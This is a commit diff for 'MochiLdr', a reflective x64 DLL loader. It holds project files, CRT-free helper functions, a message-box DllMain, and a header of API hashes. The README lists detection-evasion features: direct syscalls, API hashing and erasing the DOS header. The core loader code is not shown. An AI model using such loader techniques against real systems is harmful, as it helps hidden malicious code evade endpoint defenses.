</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;MOCHILDRV2_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<PrecompiledHeader>NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
<ExceptionHandling>false</ExceptionHandling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<SupportJustMyCode>false</SupportJustMyCode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<EnableUAC>false</EnableUAC>
|
||||
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
|
||||
<EntryPointSymbol>DllMain</EntryPointSymbol>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;MOCHILDRV2_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<PrecompiledHeader>NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<ExceptionHandling>false</ExceptionHandling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<EnableUAC>false</EnableUAC>
|
||||
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
|
||||
<EntryPointSymbol>DllMain</EntryPointSymbol>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;MOCHILDRV2_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<PrecompiledHeader>NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
<ExceptionHandling>false</ExceptionHandling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<SupportJustMyCode>false</SupportJustMyCode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<EnableUAC>false</EnableUAC>
|
||||
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
|
||||
<EntryPointSymbol>DllMain</EntryPointSymbol>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;MOCHILDRV2_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<PrecompiledHeader>NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<ExceptionHandling>false</ExceptionHandling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<EnableUAC>false</EnableUAC>
|
||||
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
|
||||
<EntryPointSymbol>DllMain</EntryPointSymbol>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="crt.c" />
|
||||
<ClCompile Include="dllmain.c" />
|
||||
<ClCompile Include="Helpers.c" />
|
||||
<ClCompile Include="MochiLdr.c" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="include\Crt.h" />
|
||||
<ClInclude Include="include\MochiLdr.h" />
|
||||
<ClInclude Include="include\Structs.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<MASM Include="Caller.asm">
|
||||
<FileType>Document</FileType>
|
||||
</MASM>
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,47 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="dllmain.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="MochiLdr.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="crt.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Helpers.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="include\MochiLdr.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="include\Structs.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="include\Crt.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<MASM Include="Caller.asm">
|
||||
<Filter>Source Files</Filter>
|
||||
</MASM>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
+156
@@ -0,0 +1,156 @@
|
||||
#include "include/MochiLdr.h"
|
||||
|
||||
|
||||
SIZE_T MStringLengthA(LPCSTR String)
|
||||
{
|
||||
LPCSTR String2 = String;
|
||||
for (String2 = String; *String2; ++String2);
|
||||
return (String2 - String);
|
||||
}
|
||||
|
||||
SIZE_T MStringLengthW(LPCWSTR String)
|
||||
{
|
||||
LPCWSTR String2;
|
||||
|
||||
for (String2 = String; *String2; ++String2);
|
||||
|
||||
return (String2 - String);
|
||||
}
|
||||
|
||||
SIZE_T MCharStringToWCharString(PWCHAR Destination, PCHAR Source, SIZE_T MaximumAllowed)
|
||||
{
|
||||
INT Length = MaximumAllowed;
|
||||
|
||||
while (--Length >= 0)
|
||||
{
|
||||
if (!(*Destination++ = *Source++))
|
||||
return MaximumAllowed - Length - 1;
|
||||
}
|
||||
|
||||
return MaximumAllowed - Length;
|
||||
}
|
||||
|
||||
//-------------------------------
|
||||
// memcpy
|
||||
void* ldr_memcpy(void* dst, const void* src, unsigned long size)
|
||||
{
|
||||
unsigned char* d = (unsigned char*)dst;
|
||||
const unsigned char* s = (const unsigned char*)src;
|
||||
while (size--) *d++ = *s++;
|
||||
return dst;
|
||||
}
|
||||
|
||||
#pragma function(memset)
|
||||
void* __cdecl memset(void* dst, int c, size_t size) {
|
||||
unsigned char* d = dst;
|
||||
while (size--) *d++ = (unsigned char)c;
|
||||
return dst;
|
||||
}
|
||||
|
||||
// memset
|
||||
void* ldr_memset(void* dst, int c, unsigned long size)
|
||||
{
|
||||
unsigned char* d = (unsigned char*)dst;
|
||||
while (size--) *d++ = (unsigned char)c;
|
||||
return dst;
|
||||
}
|
||||
|
||||
// strlen
|
||||
unsigned long ldr_strlen(const char* s)
|
||||
{
|
||||
unsigned long n = 0;
|
||||
while (s[n]) n++;
|
||||
return n;
|
||||
}
|
||||
|
||||
// strcmp
|
||||
int ldr_strcmp(const char* a, const char* b)
|
||||
{
|
||||
while (*a && *b && *a == *b) {
|
||||
a++; b++;
|
||||
}
|
||||
return (unsigned char)*a - (unsigned char)*b;
|
||||
}
|
||||
|
||||
/*
|
||||
void* ldr_alloc(PINSTANCE instance, unsigned long size)
|
||||
{
|
||||
if (!instance || !instance->Win32.NtAllocateVirtualMemory) return NULL;
|
||||
|
||||
SIZE_T s = size;
|
||||
PVOID base = NULL;
|
||||
|
||||
NTSTATUS st = instance->Win32.NtAllocateVirtualMemory(
|
||||
NtCurrentProcess(),
|
||||
&base,
|
||||
0,
|
||||
&s,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_READWRITE
|
||||
);
|
||||
if (st < 0) return NULL;
|
||||
return base;
|
||||
}
|
||||
*/
|
||||
//------------------------------------------------------------- CHAR MANIP
|
||||
|
||||
// minimal wcslen
|
||||
unsigned long ldr_wcslen(const wchar_t* s)
|
||||
{
|
||||
unsigned long n = 0;
|
||||
if (!s) return 0;
|
||||
while (s[n]) n++;
|
||||
return n;
|
||||
}
|
||||
|
||||
// wide strcat: dst must have enough room
|
||||
wchar_t* ldr_wcscat(wchar_t* dst, const wchar_t* src)
|
||||
{
|
||||
unsigned long dlen = ldr_wcslen(dst);
|
||||
unsigned long i = 0;
|
||||
while (src[i]) {
|
||||
dst[dlen + i] = src[i];
|
||||
i++;
|
||||
}
|
||||
dst[dlen + i] = L'\0';
|
||||
return dst;
|
||||
}
|
||||
|
||||
// ASCII/ANSI -> UTF16 into caller-provided buffer
|
||||
// destCount = number of wchar_t entries in dest (including terminator)
|
||||
unsigned long MCharToWide(const char* src, wchar_t* dest, unsigned long destCount)
|
||||
{
|
||||
if (!src || !dest || destCount == 0)
|
||||
return 0;
|
||||
|
||||
unsigned long len = ldr_strlen(src);
|
||||
|
||||
if (len + 1 > destCount)
|
||||
return 0; // not enough room
|
||||
|
||||
for (unsigned long i = 0; i < len; ++i) {
|
||||
dest[i] = (wchar_t)((unsigned char)src[i]);
|
||||
}
|
||||
dest[len] = L'\0';
|
||||
|
||||
return len;
|
||||
}
|
||||
// convert one character to lowercase (ASCII only)
|
||||
char ldr_tolower(char c)
|
||||
{
|
||||
// 'A'..'Z' → 'a'..'z'
|
||||
if (c >= 'A' && c <= 'Z')
|
||||
return (char)(c + ('a' - 'A'));
|
||||
|
||||
return c;
|
||||
}
|
||||
|
||||
// convert one character to uppercase (ASCII only)
|
||||
char ldr_toupper(char c)
|
||||
{
|
||||
// 'a'..'z' → 'A'..'Z'
|
||||
if (c >= 'a' && c <= 'z')
|
||||
return (char)(c - ('a' - 'A'));
|
||||
|
||||
return c;
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
#include "include/MochiLdr.h"
|
||||
|
||||
VOID Exec() {
|
||||
|
||||
MessageBoxA(NULL, "Hello from MochiLdr!", "MochiLdr", 0);
|
||||
|
||||
}
|
||||
|
||||
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved )
|
||||
{
|
||||
switch (ul_reason_for_call)
|
||||
{
|
||||
case DLL_PROCESS_ATTACH:
|
||||
Exec();
|
||||
break;
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
case DLL_PROCESS_DETACH:
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,18 @@
|
||||
#pragma once
|
||||
#include "MochiLdr.h"
|
||||
|
||||
void* ldr_memcpy(void* dst, const void* src, unsigned long size);
|
||||
void* ldr_memset(void* dst, int c, unsigned long size);
|
||||
unsigned long ldr_strlen(const char* s);
|
||||
int ldr_strcmp(const char* a, const char* b);
|
||||
unsigned long ldr_wcslen(const wchar_t* s);
|
||||
wchar_t* ldr_wcscat(wchar_t* dst, const wchar_t* src);
|
||||
unsigned long MCharToWide(const char* src, wchar_t* dest, unsigned long destCount);
|
||||
char ldr_tolower(char c);
|
||||
char ldr_toupper(char c);
|
||||
|
||||
SIZE_T MStringLengthA(LPCSTR String);
|
||||
SIZE_T MStringLengthW(LPCWSTR String);
|
||||
SIZE_T MCharStringToWCharString(PWCHAR Destination, PCHAR Source, SIZE_T MaximumAllowed);
|
||||
|
||||
|
||||
@@ -0,0 +1,57 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include "Structs.h"
|
||||
#include "Crt.h"
|
||||
|
||||
// Simple helpers
|
||||
#define DLLEXPORT __declspec( dllexport )
|
||||
|
||||
// Global Macros
|
||||
#define INITIAL_SEED 25
|
||||
#define Hash_W(HASH)(JKOAAT_W((LPCWSTR) HASH))
|
||||
#define Hash_A(HASH)(JKOAAT_A((PCHAR) HASH))
|
||||
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
|
||||
#define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 )
|
||||
|
||||
// Defining the WinAPI hashes
|
||||
#define LdrLoadDll_HASH 0xE5231652
|
||||
#define NtAllocMem_HASH 0x8D5082C5
|
||||
#define NtProtectMem_HASH 0x554A340C
|
||||
#define NtFlushInstruct_HASH 0xB658957E
|
||||
#define AddFuncTable_HASH 0xE1AAB82C
|
||||
#define Ntdll_HASH 0x129AB5AE
|
||||
#define Kernel32_HASH 0xDC256F7A
|
||||
|
||||
// Struct to hold hashes for the WinAPIs and Modules
|
||||
typedef struct {
|
||||
|
||||
struct {
|
||||
|
||||
NtAllocMem AllocMem;
|
||||
NtProtectMem ProtectMem;
|
||||
NtFlushInstruct FlushInstruct;
|
||||
LdrLoadDll LoadDll;
|
||||
AddFuncTable AddFuncTbl;
|
||||
|
||||
} Api;
|
||||
|
||||
struct {
|
||||
|
||||
PVOID Ntdll;
|
||||
PVOID Kernel32;
|
||||
|
||||
} Modules;
|
||||
|
||||
|
||||
} FUNCS, * PFUNCS;
|
||||
|
||||
// GetModuleHandle + GetProcAddress replacements
|
||||
PVOID GetPrcAddr(HMODULE hHandle, DWORD dwHashValue, WORD wOrdinal);
|
||||
HMODULE GetModHandle(IN UINT32 uModuleHash);
|
||||
|
||||
// PE repairing
|
||||
BOOL RepairIAT(PFUNCS Functions, PBYTE MochiImage, LPVOID IatDir);
|
||||
BOOL FixReloc(IN PIMAGE_DATA_DIRECTORY pEntryBaseRelocDataDir, IN ULONG_PTR pPeBaseAddress, IN ULONG_PTR pPreferableAddress);
|
||||
|
||||
// Caller from ASM
|
||||
extern LPVOID MochiCaller();
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,2 +1,37 @@
|
||||
# MochiLdr
|
||||
Reflective x64 Loader written in C/ASM
|
||||
|
||||
MochiLdr is a reflective x64 loader written in C/ASM
|
||||
|
||||
## Features
|
||||
|
||||
- Erase of DOS Header after new memory allocation
|
||||
- Position Independant Code
|
||||
- CRT Free
|
||||
- Use of direct syscalls
|
||||
- Custom implementation of
|
||||
- GetProcAddress
|
||||
- GetModuleHandle
|
||||
- Support for handling TLS callbacks
|
||||
- Support for registern exception handlers
|
||||
- API hashing (jenkins-oaat)
|
||||
|
||||
No injector because I want to keep mine private. Just use the one from KaynLdr or make your own.
|
||||
|
||||
## APIs used
|
||||
|
||||
- ntdll.dll
|
||||
- NtALlocateVirtualMemory
|
||||
- NtProtectVirtualMemory
|
||||
- NtFlushInstructionCache
|
||||
- LdrLoadDll
|
||||
- kernel32.dll
|
||||
- RtlAddFunctionTable
|
||||
|
||||
## Credits
|
||||
|
||||
```
|
||||
Paul Ungur (5pider) - https://github.com/Cracked5pider/KaynLdr
|
||||
Stephen Fewer - https://github.com/stephenfewer/ReflectiveDLLInjection
|
||||
Bobby Cooke - https://github.com/boku7/BokuLoader
|
||||
MaldevAcademy - https://maldevacademy.com/
|
||||
```
|
||||
Reference in New Issue
Block a user